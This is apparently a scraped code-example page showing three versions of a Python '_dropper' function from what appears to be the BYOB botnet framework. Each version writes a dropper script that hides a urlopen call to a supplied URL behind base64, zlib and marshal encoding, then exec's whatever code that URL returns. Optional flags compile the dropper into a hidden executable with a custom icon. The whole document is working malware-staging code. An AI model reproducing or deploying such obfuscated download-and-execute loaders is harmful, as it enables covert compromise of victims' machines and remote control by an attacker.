Пример #1
0
def _dropper(options, **kwargs):
    util.display("\n[>]", color='green', style='bright', end=' ')
    util.display("Dropper", color='reset', style='bright')
    util.display('\tWriting dropper... ', color='reset', style='normal', end=' ')

    assert 'url' in kwargs, "missing keyword argument 'url'"
    assert 'var' in kwargs, "missing keyword argument 'var'"
    assert 'hidden' in kwargs, "missing keyword argument 'hidden'"

    name = 'byob_{}.py'.format(kwargs['var']) if not options.name else options.name
    if not name.endswith('.py'):
        name += '.py'
    dropper = """import sys,zlib,base64,marshal,json,urllib
if sys.version_info[0] > 2:
    from urllib import request
urlopen = urllib.request.urlopen if sys.version_info[0] > 2 else urllib.urlopen
exec(eval(marshal.loads(zlib.decompress(base64.b64decode({})))))""".format(repr(base64.b64encode(zlib.compress(marshal.dumps("urlopen({}).read()".format(repr(kwargs['url'])),2)))))
    with open(name, 'w') as fp:
        fp.write(dropper)
    util.display('({:,} bytes written to {})'.format(len(dropper), name), style='dim', color='reset')

    if options.freeze:
        util.display('\tCompiling executable...\n', color='reset', style='normal', end=' ')
        name = generators.freeze('modules/payloads/' + kwargs['var'] + '.py', icon=options.icon, hidden=kwargs['hidden'])
        util.display('({:,} bytes saved to file: {})\n'.format(len(open(name, 'rb').read()), name))
    return name
Пример #2
0
def _dropper(options, **kwargs):
    util.display("\n[>]", color='green', style='bright', end=',')
    util.display("Dropper", color='reset', style='bright')
    util.display('\tWriting dropper... ', color='reset', style='normal', end=',')

    assert 'url' in kwargs, "missing keyword argument 'url'"
    assert 'var' in kwargs, "missing keyword argument 'var'"
    assert 'hidden' in kwargs, "missing keyword argument 'hidden'"

    name = 'byob_{}.py'.format(kwargs['var']) if not options.name else options.name
    if not name.endswith('.py'):
        name += '.py'
    dropper = "import zlib,base64,marshal,urllib;exec(eval(marshal.loads(zlib.decompress(base64.b64decode({})))))".format(repr(base64.b64encode(zlib.compress(marshal.dumps("import zlib,base64,marshal,urllib;exec(marshal.loads(zlib.decompress(base64.b64decode(urllib.urlopen({}).read()))))".format(repr(kwargs['url'])))))) if options.compress else repr(base64.b64encode(zlib.compress(marshal.dumps("urllib.urlopen({}).read()".format(repr(kwargs['url'])))))))
    with open(name, 'w') as fp:
        fp.write(dropper)

    if options.freeze:
        util.display('\tCompiling executable... \n', color='reset', style='normal', end=',')
        __load__ = threading.Event()
        __spin__ = _spinner(__load__)
        name = generators.freeze(name, icon=options.icon, hidden=kwargs['hidden'])
        __load__.set()

    util.display('(saved to file: {})\n'.format(name), style='dim', color='reset')
    return name
def _dropper(options, **kwargs):
    util.display("\n[>]", color='green', style='bright', end=' ')
    util.display("Dropper", color='reset', style='bright')
    util.display('\tWriting dropper... ',
                 color='reset',
                 style='normal',
                 end=' ')

    assert 'url' in kwargs, "missing keyword argument 'url'"
    assert 'var' in kwargs, "missing keyword argument 'var'"
    assert 'hidden' in kwargs, "missing keyword argument 'hidden'"

    if not os.path.isdir('modules/clients'):
        try:
            os.mkdir('modules/clients')
        except OSError:
            util.log(
                "Permission denied: unabled to make directory './modules/clients/'"
            )

    if not os.path.isdir('modules/clients/droppers'):
        try:
            os.mkdir('modules/clients/droppers')
        except OSError:
            util.log(
                "Permission denied: unabled to make directory './modules/clients/droppers/'"
            )

    dirs = [
        'modules/clients/droppers', 'byob/modules/clients/droppers',
        'byob/byob/modules/clients/droppers'
    ]
    dirname = '.'
    for d in dirs:
        if os.path.isdir(d):
            dirname = d

    name = 'byob_{}.py'.format(
        kwargs['var']) if not options.name else options.name
    if not name.endswith('.py'):
        name += '.py'

    path = os.path.join(os.path.abspath(dirname), name)

    dropper = """import sys,zlib,base64,marshal,json,urllib
if sys.version_info[0] > 2:
    from urllib import request
urlopen = urllib.request.urlopen if sys.version_info[0] > 2 else urllib.urlopen
exec(eval(marshal.loads(zlib.decompress(base64.b64decode({})))))""".format(
        repr(
            base64.b64encode(
                zlib.compress(
                    marshal.dumps(
                        "urlopen({}).read()".format(repr(kwargs['url'])),
                        2)))))

    with open(path, 'w') as fp:
        fp.write(dropper)
    util.display('({:,} bytes written to {})'.format(
        len(dropper), path.replace(os.getcwd(), '')),
                 style='dim',
                 color='reset')

    if options.freeze:
        util.display('\tCompiling executable...\n',
                     color='reset',
                     style='normal',
                     end=' ')
        name = generators.freeze('modules/clients/payloads/' + kwargs['var'] +
                                 '.py',
                                 icon=options.icon,
                                 hidden=kwargs['hidden'],
                                 debug=options.debug)
        util.display('({:,} bytes saved to file: {})\n'.format(
            len(open(name, 'rb').read()), name))
    return name